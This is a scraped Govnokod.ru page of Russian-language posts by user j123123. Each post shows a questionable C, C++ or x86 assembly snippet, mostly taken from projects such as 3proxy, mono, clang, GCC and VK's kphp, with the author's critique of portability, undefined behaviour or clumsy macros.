                int main (int argc, char *argv[], char *envp[])
                {
                  uint8_t a, b, c;
                  scanf ("%"SCNu8"%"SCNu8, &a, &b);
                  c = bit_sum(a,b);
                  printf("%"PRIu8"\n", c);
                  return 0;
                }

                Побитовое сложение двух 8-битных чисел по схеме двоичного сумматора

                j123123, 20 Апреля 2015

                Комментарии (11)
              3. Си / Говнокод #17978

                +138

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                30. 30
                31. 31
                32. 32
                33. 33
                34. 34
                35. 35
                36. 36
                if(argc > 6){
                	for(arg = argv[6]; strlen((char *)arg) >= 17 &&
                					isdigit(arg[0]) &&
                					isdigit(arg[1]) &&
                					isdigit(arg[3]) &&
                					isdigit(arg[4]) &&
                					isdigit(arg[6]) &&
                					isdigit(arg[7]) &&
                					isdigit(arg[9]) &&
                					isdigit(arg[10]) &&
                					isdigit(arg[12]) &&
                					isdigit(arg[13]) &&
                					isdigit(arg[15]) &&
                					isdigit(arg[16])
                					; arg+=18){
                
                		int t1, t2;
                		struct period *sp;
                
                		t1 = (arg[0] - '0') * 10 + (arg[1] - '0');
                		t1 = (t1 * 60) + (arg[3] - '0') * 10 + (arg[4] - '0');
                		t1 = (t1 * 60) + (arg[6] - '0') * 10 + (arg[7] - '0');
                		t2 = (arg[9] - '0') * 10 + (arg[10] - '0');
                		t2 = (t2 * 60) + (arg[12] - '0') * 10 + (arg[13] - '0');
                		t2 = (t2 * 60) + (arg[15] - '0') * 10 + (arg[16] - '0');
                		if(t2 < t1) break;
                		sp = myalloc(sizeof(struct period));
                		if(sp){
                			sp->fromtime = t1;
                			sp->totime = t2;
                			sp->next = acl->periods;
                			acl->periods = sp;
                		}
                		if(arg[17]!=',') break;
                	}
                }

                Получение временных диапазонов, из https://github.com/z3APA3A/3proxy/blob/devel/src/3proxy.c#L1470
                Основное говно в том, что нифига не проверяются входные данные т.е. секунд и минут может быть больше 59, а часов может быть больше 23. И проверку if(t2 < t1) лучше заменить на if(t2 <= t1)
                А еще там в том исходнике в качестве отступов используются и пробелы и табы. Вообще там очень много говнокода

                j123123, 12 Апреля 2015

                Комментарии (5)
              4. Си / Говнокод #17821

                +135

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                #include "mono-math.h"
                
                #ifndef HAVE_SIGNBIT
                
                int
                mono_signbit_float (float x)
                {
                	union { float f; int i; } u;
                
                	u.f = x;
                
                	return u.i < 0;
                }
                
                int
                mono_signbit_double (double x)
                {
                	union { double d; int i[2]; } u;
                
                	u.d = x;
                
                #if G_BYTE_ORDER == G_LITTLE_ENDIAN
                	return u.i [1] < 0;
                #else
                	return u.i [0] < 0;
                #endif
                }
                
                #endif

                Говно тут в том, что int далеко не везде будет 32 бит.
                https://github.com/mono/mono/blob/master/mono/utils/mono-math.c оттуда

                j123123, 19 Марта 2015

                Комментарии (5)
              5. Си / Говнокод #17804

                +138

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                30. 30
                31. 31
                32. 32
                33. 33
                34. 34
                35. 35
                36. 36
                37. 37
                38. 38
                39. 39
                40. 40
                41. 41
                42. 42
                #define poff    acurp + curp * (nSQs+2)        /*probs: offset*/
                long psum() {return  c(poff+ 1);}    long pmax()    {return c(poff+2);}
                long pn     (long n)                {return          c(poff+2+n);   }
                void setp   (long n, long x){set    (poff+2+n, x);} /*prob changes:*/ 
                void setmax         (long x){set    (poff+2,   x);} /*metasearching*/
                void setsum         (long x){set    (poff+1,   x);}
                long get2ndmax()    {long n= poff+2, x=pmax(), m=n,  s=0,end=n+nSQs;   
                     do     {n++;}   while  (c(n) != x);  /*find 2nd-highest <=pmax*/     
                     do     {m++;    if (s < c(m) && m !=n) s= c(m);}/*jue tncheck?*/
                             while      (s < x    && m < end);       return  s;}
                void addtoSQ(long i, long val) {long x;   /*increase prob of ith SQ*/
                     if  (val < 1 || i >nSQs || i<1) return;        /*not possible!*/
                     x =  psum()+val;if (x > maxint) return;   /*has max normalizer*/
                     setsum (x);    /*normalizer +*/ x =  pn(i)+val; setp(i, x); 
                     if (x > pmax()) setmax (x);}   /*maximal SQprob has increased */    
                void subofSQ(long i, long val) {long x;   /*decrease prob of ith SQ*/
                     if  (val < 1 || i >nSQs || i<1) return;        /*not possible!*/
                     x =  pn(i)-val; if (x < 0)      return;/*no neg probabilities!*/
                     setsum (psum()- val);           setp(i,x);/*don't check if =0!*/   
                     if (x + val  == pmax()) setmax (get2ndmax());} /*change of max*/
                void incSQ()        {long i= top();  addtoSQ(i,1);} /*top, not pop!*/
                void decSQ()        {long i= top(),  x,y,z; /*decrem prob of the SQ*/
                     if  (i> nSQs   || i< 1) return;/*no such search Q number known*/
                     x =  pn(i);     if     (x==0)   return;        /*SQ: already 0*/
                     y  = psum();    z =     pmax();              
                     if  (x == 1 &&  y    <= z+1)    stop    /*leave at least 2 SQs*/
                     if  (x == z)    setmax         (get2ndmax());  /*change of max*/
                     setp(i, x-1);   setsum (y-1);}                 /*normalizer -1*/
                long upSQ;          /*SQ probability:enumerator  +=  upSQ: increase*/
                void oldSQ()   {long a=pop()+ndecl,  n,i; if(a<0||a> oldp)stop/*bad*/
                     n=old[a].size;  a=old[a].start;/*all SQs of old nondecl: +upSQ*/
                     tncheck  n+=a;  for(i=a;i<n;i++)addtoSQ(SQ[q[i].Q],     upSQ);}
                
                void setpat()       {long i= pop(); /*instantiate my search pattern*/
                     if  (i<0 || i > patp)     stop /*no such search pattern exists*/
                     set (acurp,i);}/*next SQ-search defined via new probabilities!*/
                void pupat()        {long    i  =    apatp;   /*push search pattern*/ 
                     if  (i>maxpat)  stop    i++;    set(apatp,i);  /*not too many?*/
                     cpabn  (poff+1, acurp + 1 + i *(2+ nSQs),       2 + nSQs,  
                                                     acurp + 1,      aendpats);     }  
                void popat()        {long i= apatp;  if(i==0)   stop
                     set(apatp,i-1); push(i); }                /*pop search pattern*/

                Полный исходник http://www.idsia.ch/~juergen/oopscode.c

                j123123, 17 Марта 2015

                Комментарии (11)
              6. Си / Говнокод #16026

                +135

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                30. 30
                31. 31
                // Hammer the CFG with large numbers of overlapping variable scopes, which
                // implicit destructors triggered at each edge.
                
                #define EXPAND_BASIC_STRUCT(i) struct X##i { X##i(int); ~X##i(); };
                #define EXPAND_NORET_STRUCT(i) struct X##i { X##i(int); ~X##i() __attribute__((noreturn)); };
                EXPAND_BASIC_STRUCT(0000); EXPAND_NORET_STRUCT(0001);
                EXPAND_BASIC_STRUCT(0010); EXPAND_BASIC_STRUCT(0011);
                EXPAND_BASIC_STRUCT(0100); EXPAND_NORET_STRUCT(0101);
                EXPAND_NORET_STRUCT(0110); EXPAND_BASIC_STRUCT(0111);
                EXPAND_BASIC_STRUCT(1000); EXPAND_NORET_STRUCT(1001);
                EXPAND_BASIC_STRUCT(1010); EXPAND_BASIC_STRUCT(1011);
                EXPAND_NORET_STRUCT(1100); EXPAND_NORET_STRUCT(1101);
                EXPAND_BASIC_STRUCT(1110); EXPAND_BASIC_STRUCT(1111);
                
                #define EXPAND_2_VARS(c, i, x)  const X##i var_##c##_##i##0(x), &var_##c##_##i##1 = X##i(x)
                #define EXPAND_4_VARS(c, i, x)  EXPAND_2_VARS(c, i##0, x);  EXPAND_2_VARS(c, i##1, x)
                #define EXPAND_8_VARS(c, i, x)  EXPAND_4_VARS(c, i##0, x);  EXPAND_4_VARS(c, i##1, x)
                #define EXPAND_16_VARS(c, i, x) EXPAND_8_VARS(c, i##0, x);  EXPAND_8_VARS(c, i##1, x)
                #define EXPAND_32_VARS(c, x)    EXPAND_16_VARS(c, 0, x);    EXPAND_16_VARS(c, 1, x)
                
                #define EXPAND_2_INNER_CASES(i, x, y)    INNER_CASE(i, x, y);             INNER_CASE(i + 1, x, y);
                #define EXPAND_4_INNER_CASES(i, x, y)    EXPAND_2_INNER_CASES(i, x, y)    EXPAND_2_INNER_CASES(i + 2, x, y)
                #define EXPAND_8_INNER_CASES(i, x, y)    EXPAND_4_INNER_CASES(i, x, y)    EXPAND_4_INNER_CASES(i + 4, x, y)
                #define EXPAND_16_INNER_CASES(i, x, y)   EXPAND_8_INNER_CASES(i, x, y)    EXPAND_8_INNER_CASES(i + 8, x, y)
                #define EXPAND_32_INNER_CASES(i, x, y)   EXPAND_16_INNER_CASES(i, x, y)   EXPAND_16_INNER_CASES(i + 16, x, y)
                
                #define EXPAND_2_OUTER_CASES(i, x, y)    OUTER_CASE(i, x, y);             OUTER_CASE(i + 1, x, y);
                #define EXPAND_4_OUTER_CASES(i, x, y)    EXPAND_2_OUTER_CASES(i, x, y)    EXPAND_2_OUTER_CASES(i + 2, x, y)
                #define EXPAND_8_OUTER_CASES(i, x, y)    EXPAND_4_OUTER_CASES(i, x, y)    EXPAND_4_OUTER_CASES(i + 4, x, y)
                #define EXPAND_16_OUTER_CASES(i, x, y)   EXPAND_8_OUTER_CASES(i, x, y)    EXPAND_8_OUTER_CASES(i + 8, x, y)
                #define EXPAND_32_OUTER_CASES(i, x, y)   EXPAND_16_OUTER_CASES(i, x, y)   EXPAND_16_OUTER_CASES(i + 16, x, y)

                Рекурсивное (EXPAND_... ) макроговно из clang и генератор (EXPAND_..._STRUCT) структур через какую-то непонятную жопу
                https://github.com/llvm-mirror/clang/blob/master/INPUTS/cfg-nested-var-scopes.cpp

                j123123, 21 Мая 2014

                Комментарии (8)
              7. Си / Говнокод #15980

                +131

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                30. 30
                31. 31
                32. 32
                33. 33
                34. 34
                35. 35
                #include <stdio.h>
                #include <stdint.h>
                
                #define ARR_L 11
                #define INS_P (arr[0])
                #define MOD_L(a) ((a) % ARR_L)
                #define INS_P_M (MOD_L(INS_P))
                #define ARR_ACS(a) (arr[MOD_L(a)]) //access to arr
                
                
                void foo (uint8_t *arr)
                {
                  if (ARR_ACS(0) == 0)
                  {
                    printf("%u ", ARR_ACS(1));
                    ARR_ACS(1) += ARR_ACS(2);
                    ARR_ACS(0) = 1;
                  }
                  else
                  {
                    printf("%u ", ARR_ACS(2));
                    ARR_ACS(2) += ARR_ACS(1);
                    ARR_ACS(0) = 0;
                  }
                
                }
                
                int main(void) {
                  uint8_t arr[ARR_L] = {1,1,1,0,0,0,0,0,0,0,0};
                  for (size_t a = 0; a < 13; a++)
                  {
                    foo(arr);
                  }
                  return 0;
                }

                Считалка чисел Фибоначчи на основе фигни, придуманной в http://govnokod.ru/15967
                Надо сделать метаязык для удобного составления набора инструкций для этой штуки. И еще надо осилить длинную арифметику, ну это вообще круто будет

                j123123, 14 Мая 2014

                Комментарии (9)
              8. Си / Говнокод #15967

                +129

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                30. 30
                31. 31
                32. 32
                33. 33
                34. 34
                35. 35
                #include <stdio.h>
                #include <stdint.h>
                
                #define ARR_L 11
                #define INS_P (arr[0])
                #define MOD_L(a) ((a) % ARR_L)
                #define INS_P_M (MOD_L(INS_P))
                #define ARR_ACS(a) (arr[MOD_L(a)]) //access to arr
                
                
                void foo (uint8_t *arr)
                {
                  ARR_ACS(3) = INS_P * ARR_ACS(INS_P);
                  ARR_ACS( MOD_L( INS_P_M + 1 ) ) = ((INS_P * INS_P) * 2);
                  if (INS_P != 0) {ARR_ACS(INS_P_M)++;};
                  INS_P = INS_P_M + 1;
                
                  // tut voobche lubaya fignya, kotoraya chtoby izmenyala
                  // figny v massive v zavisimosti ot sostoyania massiva
                }
                
                int main(void) {
                  uint8_t arr[ARR_L] = {0,2,6,3,2,62,7,113,0,26,13};
                  for (size_t a = 0; a < 10000; a++)
                  {
                    foo(arr);
                    printf 
                    (
                      "%.3u %.3u %.3u %.3u %.3u "
                      "%.3u %.3u %.3u %.3u %.3u %.3u\n",
                      INS_P,arr[1],arr[2],arr[3],arr[4],
                      arr[5],arr[6],arr[7],arr[8],arr[9],arr[10]);
                  }
                  return 0;
                }

                Машина Тьюринга с лентой конечной длины - конечный автомат. Состояние обязательно зациклится, какие бы правила преобразования над конечным алфавитом мы не вводили и каким бы ни было начальное состояние ленты.

                В сишке есть возможности вменяемо сделать вывод чисел из массива подряд для N-ного количества аргументов?
                Цикл не предлагать

                j123123, 12 Мая 2014

                Комментарии (52)
              9. Си / Говнокод #15944

                +133

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                14. 14
                15. 15
                16. 16
                17. 17
                18. 18
                19. 19
                20. 20
                21. 21
                22. 22
                23. 23
                24. 24
                25. 25
                26. 26
                27. 27
                28. 28
                29. 29
                30. 30
                31. 31
                32. 32
                33. 33
                34. 34
                35. 35
                36. 36
                37. 37
                38. 38
                39. 39
                40. 40
                41. 41
                42. 42
                43. 43
                44. 44
                45. 45
                46. 46
                47. 47
                48. 48
                49. 49
                50. 50
                51. 51
                52. 52
                53. 53
                54. 54
                55. 55
                56. 56
                57. 57
                58. 58
                59. 59
                60. 60
                #include <stdlib.h>
                #include <stdio.h>
                #include <string.h>
                #include <unistd.h>
                
                void my_char_plus(const void *a, const void *b, void *c)
                {
                  char tmp =  (*(char*)a + *(char*)b);
                  memcpy(c,(void*)(&tmp),sizeof(char));
                }
                
                void my_char_minus(const void *a, const void *b, void *c)
                {
                  char tmp =  (*(char*)a - *(char*)b);
                  memcpy(c,(void*)(&tmp),sizeof(char));
                }
                
                
                
                void operation(const void *funct(const void*,const void*,void*),
                                      const void *a, const void *b, void *c )
                {
                  funct(a,b,c);
                }
                
                char ret_last_arg(const void *funct(const void*,const void*,void*),
                                      const void *a, const void *b)
                {
                  char c;
                  funct(a,b,(void*)&c);
                  return c;
                }
                
                
                
                int main(void)
                {
                
                  char a, b;
                  a = 5; b = 7;
                  
                  
                  void *plus = &my_char_plus; char c;
                  operation(plus, (const void*)&a, (const void*)&b, (void*)&c);
                  printf("5 + 7 = %i\n", c);
                  
                  
                  void *minus = &my_char_minus;
                  char d = ret_last_arg(minus, (const void*)&a, (const void*)&b);
                  printf("5 - 7 = %i\n", d);
                  
                  
                // LISP LISP LISP
                #define LISP(ar,aa,bb) ret_last_arg(ar, (const void*)&(char){aa}, (const void*)&(char){bb} )
                
                  char e = LISP(plus,2,LISP(plus,2,2));
                  printf("(+ 2 (+ 2 2 ) ) = %i\n", e);
                  
                  return 0;
                }

                Лиспопрограммирование на сишке через макрос (префиксная запись)
                Только оно кривовато тут, т.е. получаем трехадресный код (не как в лиспе)
                http://masters.donntu.edu.ua/2006/fvti/svyezhentsev/library/article2.htm
                Можно делать интерпретаторы фигни всякой, шитый код. Я упорот короче

                j123123, 08 Мая 2014

                Комментарии (18)
              10. Си / Говнокод #15895

                +132

                1. 01
                2. 02
                3. 03
                4. 04
                5. 05
                6. 06
                7. 07
                8. 08
                9. 09
                10. 10
                11. 11
                12. 12
                13. 13
                #include <stdio.h>
                
                unsigned int mid (unsigned int a, unsigned int b)
                {
                	if (a > b) {unsigned int c = a; a = b; b = c;}
                	for(; a < b; a--, b++) {;};
                	return a;
                }
                
                int main(void) {
                	printf("%u %u %u %u", mid(2,2), mid(3,2), mid(2,3), mid(3,3));
                	return 0;
                }

                Это я хочу найти середину. Где-то я туплю

                j123123, 04 Мая 2014

                Комментарии (27)
                 
                 
                1. C++ / Говнокод #15893

                  +73

                  1. 1
                  http://bnw.im/p/JCBN9N

                  https://bnw.im/u/j123123

                  j123123, 04 Мая 2014

                  Комментарии (10)
                2. Си / Говнокод #15707

                  +133

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  13. 13
                  14. 14
                  15. 15
                  16. 16
                  17. 17
                  18. 18
                  19. 19
                  20. 20
                  21. 21
                  22. 22
                  23. 23
                  #ifndef ORDER32_H
                  #define ORDER32_H
                  
                  #include <limits.h>
                  #include <stdint.h>
                  
                  #if CHAR_BIT != 8
                  #error "unsupported char size"
                  #endif
                  
                  enum
                  {
                      O32_LITTLE_ENDIAN = 0x03020100ul,
                      O32_BIG_ENDIAN = 0x00010203ul,
                      O32_PDP_ENDIAN = 0x01000302ul
                  };
                  
                  static const union { unsigned char bytes[4]; uint32_t value; } o32_host_order =
                      { { 0, 1, 2, 3 } };
                  
                  #define O32_HOST_ORDER (o32_host_order.value)
                  
                  #endif

                  Говнокод из http://stackoverflow.com/questions/2100331/c-macro-definition-to-determine-big-endian-or-little-endian-machine
                  Мало того, что писать в один тип из юниона и потом читать из другого это UB, так еще компилятор (в случае GCC) из

                  int main(void)
                  
                  {return O32_HOST_ORDER == O32_LITTLE_ENDIAN;}

                  нагенерирует код
                  main:
                  
                  	xor	eax, eax
                  
                  	cmp	DWORD PTR o32_host_order[rip], 50462976
                  
                  	sete	al
                  
                  	ret
                  
                  o32_host_order:
                  
                  	.byte	0
                  
                  	.byte	1
                  
                  	.byte	2
                  
                  	.byte	3

                  т.е. всякий раз, когда надо узнать endianess, мы лезем в константную статическую переменную и сравниваем ее с константой

                  j123123, 08 Апреля 2014

                  Комментарии (45)
                3. Си / Говнокод #15638

                  +134

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  13. 13
                  14. 14
                  15. 15
                  16. 16
                  17. 17
                  18. 18
                  19. 19
                  20. 20
                  21. 21
                  22. 22
                  23. 23
                  24. 24
                  25. 25
                  26. 26
                  27. 27
                  28. 28
                  29. 29
                  30. 30
                  
                  /* A C statement or statements which output an assembler instruction
                     opcode to the stdio stream STREAM.  The macro-operand PTR is a
                     variable of type `char *' which points to the opcode name in its
                     "internal" form--the form that is written in the machine description.
                  
                     GAS version 1.38.1 doesn't understand the `repz' opcode mnemonic.
                     So use `repe' instead.  */
                  
                  #undef ASM_OUTPUT_OPCODE
                  #define ASM_OUTPUT_OPCODE(STREAM, PTR)	\
                  {									\
                    if ((PTR)[0] == 'r'							\
                        && (PTR)[1] == 'e'						\
                        && (PTR)[2] == 'p')						\
                      {									\
                        if ((PTR)[3] == 'z')						\
                  	{								\
                  	  fputs ("repe", (STREAM));					\
                  	  (PTR) += 4;							\
                  	}								\
                        else if ((PTR)[3] == 'n' && (PTR)[4] == 'z')			\
                  	{								\
                  	  fputs ("repne", (STREAM));					\
                  	  (PTR) += 5;							\
                  	}								\
                      }									\
                    else									\
                      ASM_OUTPUT_AVX_PREFIX ((STREAM), (PTR));				\
                  }

                  Костыль из GCC. Ассемблер GAS версии 1.38.1 не переваривает мнемоники repz и repnz. Эта макрохрень перекодирует их в repe и repne соответственно
                  https://github.com/mirrors/gcc/blob/master/gcc/config/i386/gas.h#L81

                  j123123, 02 Апреля 2014

                  Комментарии (0)
                4. Си / Говнокод #15628

                  +136

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  13. 13
                  14. 14
                  15. 15
                  16. 16
                  17. 17
                  18. 18
                  19. 19
                  20. 20
                  21. 21
                  #include <stdio.h>
                  #include <inttypes.h>
                  
                  inline uint8_t mid_ch (uint8_t a, uint8_t b, uint8_t res)
                  {
                    if (b == 0){ if (a >= 2) return mid_ch (a-2, b  , res+1); else return res;}
                    if (a == 0){ if (b >= 2) return mid_ch (a  , b-2, res+1); else return res;}
                    return mid_ch (a-1, b-1, res+1);
                  }
                  
                  uint64_t mid_0_ch (uint64_t a, uint64_t b)
                  {
                    return mid_ch(a, b, 0);
                  }
                  
                  
                  int main(void)
                  {
                    printf("%u %u", mid_0_ch (253, 123), (253+123)/2);
                    return 0;
                  }

                  Нахождение среднего арифметического двух чисел через рекурсию. Сначала сделал для uint64_t чтобы это имело смысл, ведь сложение двух 64-битных чисел с записью результата в третье может привести к целочисленному переполнению (для 64-битных чисел, сложение которых может привести к переполнению, этот код работал чрезвычайно медленно, поэтому я ограничился 8-битными). При таком наркоманско-рекурсивном алгоритме этого переполнения не будет. 128-битные типы есть только как нестандартное расширение, но тогда еще возникает вопрос, как найди среднее арифметическое двух таких 128-битных чисел? А если есть 256-битные, то как тогда их них находить среднеарифметическое... ну и так далее.
                  Можно эту проблему еще решать через битовые маски т.е. убрать из обеих чисел самые старшие биты (предварительно сохранив их), сложить эти два числа, поделить на два, потом уже эти сохраненные биты вида 10000... или 0000... оба поделить на 2(сдвинуть на один разряд) и прибавить. Наркоманство какое-то.
                  Почему бы не сделать в С некий особый целочисленный тип, в котором любая фигня влезет, но который бы использовался только временно для промежуточных вычислений, чтобы не делать бэкапы битиков всяких?

                  j123123, 31 Марта 2014

                  Комментарии (22)
                5. Assembler / Говнокод #15415

                  +145

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  13. 13
                  14. 14
                  15. 15
                  16. 16
                  17. 17
                  18. 18
                  19. 19
                  20. 20
                  21. 21
                  22. 22
                  23. 23
                  24. 24
                  25. 25
                  26. 26
                  27. 27
                  28. 28
                  29. 29
                  30. 30
                  31. 31
                  32. 32
                  33. 33
                  34. 34
                  35. 35
                  36. 36
                  global _start
                  
                  section .text
                  
                  _start:
                  
                  	mov	eax, 0b10010100101100110111110110111110
                  	;  эти битики будут выведены на печать
                  	
                  	mov	ecx, 0b00011000000110000001100000011000
                  	; Четыре недозаполненных ascii кодов символов '0' или '1', в который из флага переноса заталкивается битик 0 или 1
                  
                  	%rep 8
                  	mov	ebx, ecx
                  	%rep    3
                  		shr	eax, 1 ; Захавываем битик в флаг переноса
                  		rcl	ebx, 1 ; Запихиваем из флага переноса в недозаполненные ascii коды
                  		rol	ebx, 7 ; Проматываем на следующий кусок
                  	%endrep
                  	shr	eax, 1
                  	rcl	ebx, 1 ; На последней стадии все то же самое, только проматывать уже не надо
                  
                  	push ebx ; Теперь все битики всунуты, пихнем содержимое регистра в стек
                  	%endrep
                  
                  
                      
                  	mov	eax, 04h ; write()
                  	mov	ebx, 01h ; stdout
                  	mov	ecx, esp ; распечатаем из стека
                  	mov	edx, 32  ; 32 символа
                  	int	80h
                  	
                  	mov	eax, 01h ; exit()
                  	xor	ebx, ebx ; errno
                  	int	80h

                  NASM Linux x86
                  Суть - вывести содержимое регистра в двоичной системе счисления
                  Можно было вместо этой мути использовать CMOVC ( Move if carry (CF=1) ) или еще что-нибудь такое придумать, есть же еще BT, BTS, глаза разбегаются
                  ...вообще хрен его знает, какой-то упоротый этот x86 ассемблер, надо бы AVR осваивать, там регистров побольше

                  j123123, 10 Марта 2014

                  Комментарии (5)
                6. Си / Говнокод #15406

                  +142

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  13. 13
                  14. 14
                  15. 15
                  16. 16
                  17. 17
                  18. 18
                  19. 19
                  20. 20
                  21. 21
                  22. 22
                  23. 23
                  24. 24
                  25. 25
                  26. 26
                  27. 27
                  28. 28
                  29. 29
                  30. 30
                  31. 31
                  32. 32
                  33. 33
                  34. 34
                  35. 35
                  36. 36
                  37. 37
                  38. 38
                  39. 39
                  40. 40
                  41. 41
                  42. 42
                  43. 43
                  44. 44
                  45. 45
                  46. 46
                  47. 47
                  48. 48
                  49. 49
                  50. 50
                  51. 51
                  52. 52
                  53. 53
                  54. 54
                  55. 55
                  static char months [] = "JanFebMarAprMayJunJulAugSepOctNovDecGlk";
                  static char dows [] = "SunMonTueWedThuFriSatEar";
                  
                  
                  int dd [] =
                  {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
                  
                  void gen_http_date (char date_buffer[29], int time) {
                    int day, mon, year, hour, min, sec, xd, i, dow;
                    if (time < 0) time = 0;
                    sec = time % 60;
                    time /= 60;
                    min = time % 60;
                    time /= 60;
                    hour = time % 24;
                    time /= 24;
                    dow = (time + 4) % 7;
                    xd = time % (365 * 3 + 366);
                    time /= (365 * 3 + 366);
                    year = time * 4 + 1970;
                    if (xd >= 365) {
                      year++;
                      xd -= 365;
                      if (xd >= 365) {
                        year++;
                        xd -= 365;
                        if (xd >= 366) {
                          year++;
                          xd -= 366;
                        }
                      }
                    }
                    if (year & 3) {
                      dd[1] = 28;
                    } else {
                      dd[1] = 29;
                    }
                  
                    for (i = 0; i < 12; i++) {
                      if (xd < dd[i]) {
                        break;
                      }
                      xd -= dd[i];
                    }
                  
                    day = xd + 1;
                    mon = i;
                    assert (day >= 1 && day <= 31 && mon >=0 && mon <= 11 &&
                        year >= 1970 && year <= 2039);
                  
                    sprintf (date_buffer, "%.3s, %.2d %.3s %d %.2d:%.2d:%.2d GM",
                        dows + dow * 3, day, months + mon * 3, year,
                        hour, min, sec);
                    date_buffer[28] = 'T';
                  }

                  Делать имена месяцев и дни недели одной сишной строкой, чтобы потом выводить оттуда по три символа через sprintf, считая оффсет умножением на 3 т.к. имена месяцев и дней недели влазят в три символа
                  https://github.com/vk-com/kphp-kdb/blob/ce1ac4fbde2d3b546936ad07d6a748958f6d2198/net/net-http-server.c#L664

                  http://roem.ru/2013/07/20/kphp76561/
                  >ВКонтактовские "олимпиадники"-чемпионы ACM разработали крайне интересную высоконагруженным сайтам технологию.

                  Хреновые какие-то олимпиадники попались, раз неосилили http://ideone.com/IfvBgi

                  j123123, 09 Марта 2014

                  Комментарии (81)
                7. Си / Говнокод #14511

                  +137

                  1. 01
                  2. 02
                  3. 03
                  4. 04
                  5. 05
                  6. 06
                  7. 07
                  8. 08
                  9. 09
                  10. 10
                  11. 11
                  12. 12
                  13. 13
                  14. 14
                  15. 15
                  16. 16
                  17. 17
                  18. 18
                  19. 19
                  20. 20
                  21. 21
                  22. 22
                  23. 23
                  24. 24
                  25. 25
                  26. 26
                  27. 27
                  28. 28
                  29. 29
                  30. 30
                  31. 31
                  32. 32
                  33. 33
                  34. 34
                  35. 35
                  36. 36
                  37. 37
                  38. 38
                  39. 39
                  40. 40
                  41. 41
                  42. 42
                  43. 43
                  44. 44
                  45. 45
                  46. 46
                  47. 47
                  48. 48
                  49. 49
                  50. 50
                  51. 51
                  52. 52
                  53. 53
                  54. 54
                  55. 55
                  56. 56
                  57. 57
                  58. 58
                  59. 59
                  60. 60
                  61. 61
                  62. 62
                  63. 63
                  64. 64
                  65. 65
                  66. 66
                  67. 67
                  68. 68
                  69. 69
                  70. 70
                  71. 71
                  72. 72
                  73. 73
                  74. 74
                  75. 75
                  76. 76
                  77. 77
                  78. 78
                  79. 79
                  80. 80
                  #define SPLICE(a,b) SPLICE_1(a,b)
                  #define SPLICE_1(a,b) SPLICE_2(a,b)
                  #define SPLICE_2(a,b) a##b
                   
                   
                  #define PP_ARG_N( \
                            _1,  _2,  _3,  _4,  _5,  _6,  _7,  _8,  _9, _10, \
                           _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, \
                           _21, _22, _23, _24, _25, _26, _27, _28, _29, _30, \
                           _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, \
                           _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, \
                           _51, _52, _53, _54, _55, _56, _57, _58, _59, _60, \
                           _61, _62, _63, N, ...) N
                   
                  /* Note 63 is removed */
                  #define PP_RSEQ_N()                                        \
                           62, 61, 60,                                       \
                           59, 58, 57, 56, 55, 54, 53, 52, 51, 50,           \
                           49, 48, 47, 46, 45, 44, 43, 42, 41, 40,           \
                           39, 38, 37, 36, 35, 34, 33, 32, 31, 30,           \
                           29, 28, 27, 26, 25, 24, 23, 22, 21, 20,           \
                           19, 18, 17, 16, 15, 14, 13, 12, 11, 10,           \
                            9,  8,  7,  6,  5,  4,  3,  2,  1,  0
                   
                  #define PP_NARG_(...)    PP_ARG_N(__VA_ARGS__)    
                   
                  /* Note dummy first argument _ and ##__VA_ARGS__ instead of __VA_ARGS__ */
                  #define PP_NARG(...)     PP_NARG_(_, ##__VA_ARGS__, PP_RSEQ_N())
                   
